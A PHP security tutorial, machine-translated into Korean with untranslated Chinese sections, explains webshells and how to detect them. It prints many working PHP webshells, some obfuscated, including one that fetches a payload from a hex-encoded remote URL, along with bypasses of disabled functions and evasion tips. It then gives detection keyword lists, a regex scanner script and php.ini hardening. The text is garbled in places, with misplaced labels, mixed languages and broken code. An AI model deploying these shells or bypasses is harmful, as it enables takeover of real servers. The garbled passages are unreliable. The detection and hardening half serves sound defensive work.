>백엔드 개발 >PHP 튜토리얼 >PHP 보안 웹쉘 및 백도어 탐지 예시에 대한 자세한 설명

PHP 보안 웹쉘 및 백도어 탐지 예시에 대한 자세한 설명

高洛峰
高洛峰원래의
2017-03-19 13:18:174803검색

PHP 기반 애플리케이션은 다양한 공격에 직면합니다.

  • XSS: PHP 웹 애플리케이션의 경우 크로스 사이트 스크립팅은 취약한 지점입니다. 공격자는 이를 이용해 사용자 정보를 훔칠 수 있습니다. XSS 공격을 방지하기 위해 Apache를 구성하거나 보다 안전한 PHP 코드(모든 사용자 입력 유효성 검사)를 작성할 수 있습니다.

  • SQL 주입: 이것은 PHP 애플리케이션입니다. 취약점 데이터베이스 계층에서. 예방법은 위와 동일합니다. 일반적인 방법은 mysql_real_escape_string()을 사용하여 매개변수를 이스케이프한 다음 SQL 쿼리를 수행하는 것입니다.

  • 파일 업로드: 방문자가 서버에 파일을 배치(예: 업로드)할 수 있습니다. 이로 인해 서버 파일, 데이터베이스 삭제, 사용자 정보 획득 등 일련의 문제가 발생합니다. PHP를 사용하여 파일 업로드를 금지하거나 보다 안전한 코드를 작성할 수 있습니다(예: 사용자 입력 확인 및 png 및 gif와 같은 이미지 형식 업로드만 허용)

  • 로컬 파일과 원격 파일 포함: 공격자는 원격 서버에서 파일을 열고 PHP 코드를 실행한 다음 파일을 업로드하거나 삭제하여 백도어를 설치할 수 있습니다. 원격 파일 실행 설정을 취소하면 이를 방지할 수 있습니다

  • eval/assert: 이 함수 String 섹션은 PHP 코드처럼 실행됩니다. 이는 공격자가 서버에서 코드와 도구를 숨기기 위해 일반적으로 사용됩니다.

  • Sea-surt Attack(교차 사이트 요청 위조, CSRF. 교차 사이트 요청 위조)을 달성하기 위해 PHP를 구성하고 평가 및 기타 함수 호출을 취소함으로써: 이 공격은 종료를 초래합니다. 사용자는 현재 계정에서 지정되지 않은 동작을 수행합니다. 이로 인해 최종 사용자 데이터와 운영 보안이 손상됩니다. 대상 최종 사용자의 계정이 관리자 권한으로 사용되면 전체 웹 애플리케이션이 손상됩니다.

굵게 표시된 공격 방법은 다음과 같습니다.

1. 다양한 웹쉘

비즈니스 규모가 증가할수록 해커의 공격이 많아집니다. 스캔을 하면 웹사이트 보안이 더욱 중요해집니다. 가장 일반적인 방법은 POST 요청을 통해 트로이 목마 파일을 업로드하여 임의의 명령을 실행하는 것입니다. 통제하면 나빠진다

그래서 우리는 여전히 서버의 보안에 주의해야 한다

가장 인기 있는 백도어는 한 문장 트로이 목마라고 하며 그 형태는 다음과 같다.

<?php if(isset($_REQUEST[&#39;cmd&#39;])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "
$cmd
";
    die;
}
?>

이는 보안 소프트웨어로 쉽게 감지됩니다. 은폐성을 강화하기 위해 다양한 기능으로 위장한 다양한 한문장 트로이목마 변형이 등장했습니다. 여기서는 PHP 취약형이 보안에 치명적이라는 점을 지적해야 합니다

a. str_replace 함수

<?php  $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
//说明:请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最终执行命令<?php  assert(fputs(fopen(&#39;c.php&#39;,w),"<?php @eval($_POST[a]);?>"))?>

를 사용합니다. b. str_rot13 함수를 사용합니다.

<?php  ($code = $_POST[&#39;code&#39;]) && @preg_replace(&#39;/ad/e&#39;,&#39;@&#39;.str_rot13(&#39;riny&#39;).&#39;($code)&#39;, &#39;add&#39;); ?>
//说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

c include 함수를 사용합니다. 🎜>d, 팩 기능 사용

<?php  $filename=$_GET[&#39;code&#39;];include ($filename); ?>
//由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

e, 세션 사용

<?php  if(empty($_SESSION[&#39;api&#39;]))
    $_SESSION[&#39;api&#39;]=substr(file_get_contents(sprintf(&#39;%s?  %s&#39;,pack(“H*”,&#39;687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[&#39;api&#39;]),null);
?>

f, html 페이지에서 숨기기

<?php session_start();
$_POST[&#39;code&#39;] && $_SESSION[&#39;theCode&#39;] = trim($_POST[&#39;code&#39;]);
$_SESSION[&#39;theCode&#39;]&&preg_replace(&#39;\&#39;a\&#39;eis&#39;,&#39;e&#39;.&#39;v&#39;.&#39;a&#39;.&#39;l&#39;.&#39;(base64_decode($_SESSION[\&#39;theCode\&#39;]))&#39;,&#39;a&#39;);

g, 어설션 기능 사용

nbsp;HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title>404 Not Found</title>

<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>

<?php @preg_replace("/[pageerror]/e",$_POST[&#39;error&#39;],"saft");
header(&#39;HTTP/1.1 404 Not Found&#39;);
?>

또는

<?php  assert($_POST[sb]);?>

h,

복사

기능을 사용하여
<?php $item[&#39;wind&#39;] = &#39;assert&#39;;
$array[] = $item;
$array[0][&#39;wind&#39;]($_POST[&#39;iixosmse&#39;]);
파일을 복사합니다. 2. 코드 난독화

<?php $reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

또는

<?php   
@$_++; // $_ = 1  
$=("#"^"|"); // $ = _  
$.=("."^"~"); // _P  
$.=("/"^"`"); // _PO  
$.=("|"^"/"); // _POS  
$.=("{"^"/"); // _POST  
${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]);  
?>

Weevely 도구를 사용하여 다양한 주류 안티 바이러스 소프트웨어를 피하기 위해 위장한 코드를 생성할 수 있습니다

PHP 백도어 생성 도구 weevely

weevely는 PHP 웹쉘용 무료 소프트웨어로, 사용할 수 있습니다. 텔넷 연결 셸과 유사하게 Weevely는 일반적으로 웹 프로그램의 취약점을 악용하거나 백도어를 숨기거나 텔넷과 유사한 방법을 사용하여 웹 페이지 관리를 대체하는 데 사용됩니다. Weevely에 의해 생성된 서버측 PHP 코드는 base64로 인코딩되어 있습니다. 주류 바이러스 백신 소프트웨어와 IDS를 통해 서버 측 코드를 업로드한 후 일반적으로 Weevely를 통해 직접 실행할 수 있습니다.

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

更常用的混淆视听的方法:(这种是服务器层面的混淆)

  • 修改文件时间

  • 改名融入上传后所在文件夹,让人无法直观看出文件异常

  • 文件大小的伪装处理(至少看起大小像个正常脚本)

  • 选好藏身路径并尽量少的访问

  • 畸形目录%20

三、如果绕过配置文件

一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?

1、使用反射

<?php $func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

2、使用callback

php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.

<?php $cb= &#39;system&#39;;
ob_start($cb);
echo $_GET[c];
ob_end_flush();
?>

php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

四、安全人员应该怎么做

1、如何查找

直观寻找方式也有很多

  • 通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)

  • 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )

  • 通过access.log访问日志分析

下面是360 zhujiweishi ,在linux服务器上非常简单好用

PHP 보안 웹쉘 및 백도어 탐지 예시에 대한 자세한 설명

通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)

  • 系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

  • 代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

通过简单的python脚本


#!/usr/bin/env python
# encoding: utf-8
 
import os,sys
import re
import hashlib
import time
 
rulelist = [
    &#39;(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))&#39;,
    &#39;((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))&#39;,
    &#39;(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})&#39;,
    &#39;(function\_exists\s*\(\s*[\&#39;|\"](popen|exec|proc\_open|passthru)+[\&#39;|\"]\s*\))&#39;,
    &#39;((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))&#39;,
    &#39;(\$(\w+)\s*\(\s.chr\(\d+\)\))&#39;,
    &#39;(\$(\w+)\s*\$\{(.*)\})&#39;,
    &#39;(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))&#39;,
    &#39;(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))&#39;,
    &#39;(\$\_\=(.*)\$\_)&#39;,
    &#39;(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))&#39;,
    &#39;(new com\s*\(\s*[\&#39;|\"]shell(.*)[\&#39;|\"]\s*\))&#39;,
    &#39;(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))&#39;,
    &#39;((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))&#39;,
    &#39;(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))&#39;,
    &#39;(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))&#39;,
    &#39;((include|require|include\_once|require\_once)+\s*\(\s*[\&#39;|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\&#39;|\"]\s*\))&#39;,
    &#39;(eval\s*\(\s*\(\s*\$\$(\w+))&#39;,
    &#39;((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))&#39;,
    &#39;(preg\_replace\s*\((.*)\(base64\_decode\(\$)&#39;
    ]
 
def scan(path):
    print(&#39;           可疑文件         &#39;)
    print(&#39;*&#39;*30)
    for root,dirs,files in os.walk(path):
        for filespath in files:
            if os.path.getsize(os.path.join(root,filespath))<1024000:
                file= open(os.path.join(root,filespath))
                filestr = file.read()
                file.close()
                for rule in rulelist:
                    result = re.compile(rule).findall(filestr)
                    if result:
                        print &#39;文件:&#39;+os.path.join(root,filespath )
                        print &#39;恶意代码:&#39;+str(result[0][0:200])
                        print (&#39;最后修改时间:&#39;+time.strftime(&#39;%Y-%m-%d %H:%M:%S&#39;,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                        print &#39;\n\n&#39;
                        break
def md5sum(md5_file):
    m = hashlib.md5()
    fp = open(md5_file)
    m.update(fp.read())
    return m.hexdigest()
    fp.close()
 
if md5sum(&#39;/etc/issue&#39;) == &#39;3e3c7c4194b12af573ab11c16990c477&#39;:
    if md5sum(&#39;/usr/sbin/sshd&#39;) == &#39;abf7a90c36705ef679298a44af80b10b&#39;:
        pass
    else:
        print(&#39;*&#39;*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print(&#39;*&#39;*40)
        time.sleep(5)
if md5sum(&#39;/etc/issue&#39;) == &#39;6c9222ee501323045d85545853ebea55&#39;:
    if md5sum(&#39;/usr/sbin/sshd&#39;) == &#39;4bbf2b12d6b7f234fa01b23dc9822838&#39;:
        pass
    else:
        print(&#39;*&#39;*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print(&#39;*&#39;*40)
        time.sleep(5)
if name==&#39;main&#39;:
 
    if len(sys.argv)!=2:
        print &#39;参数错误&#39;
        print "\t按恶意代码查找:"+sys.argv[0]+&#39;目录名&#39;
    if os.path.lexists(sys.argv[1]) == False:
        print "目录不存在"
        exit()
    print (&#39;\n\n开始查找:&#39;+sys.argv[1])
    if len(sys.argv) ==2:
        scan(sys.argv[1])
    else:
        exit()

2、如何防范

php.ini 设置

  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir

  • 设置“safe_mode”为“on”

  • 禁止“open_basedir” 可以禁止指定目录之外的文件操作

  • expose_php设为off 这样php不会在http文件头中泄露信息

  • 设置“allow_url_fopen”为“off” 可禁止远程文件功能

  • log_errors”设为“on” 错误日志开启

php编码方面

  • 所有用户提交的信息  post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)

  • 经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码

  • 文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题

  • 如用开源代码,有补丁出来的话,尽快打上补丁

  • 如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。

服务器配置

配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限

nginx或者apache配置的时候,不能访问的目录一定要配置为deny

위 내용은 PHP 보안 웹쉘 및 백도어 탐지 예시에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.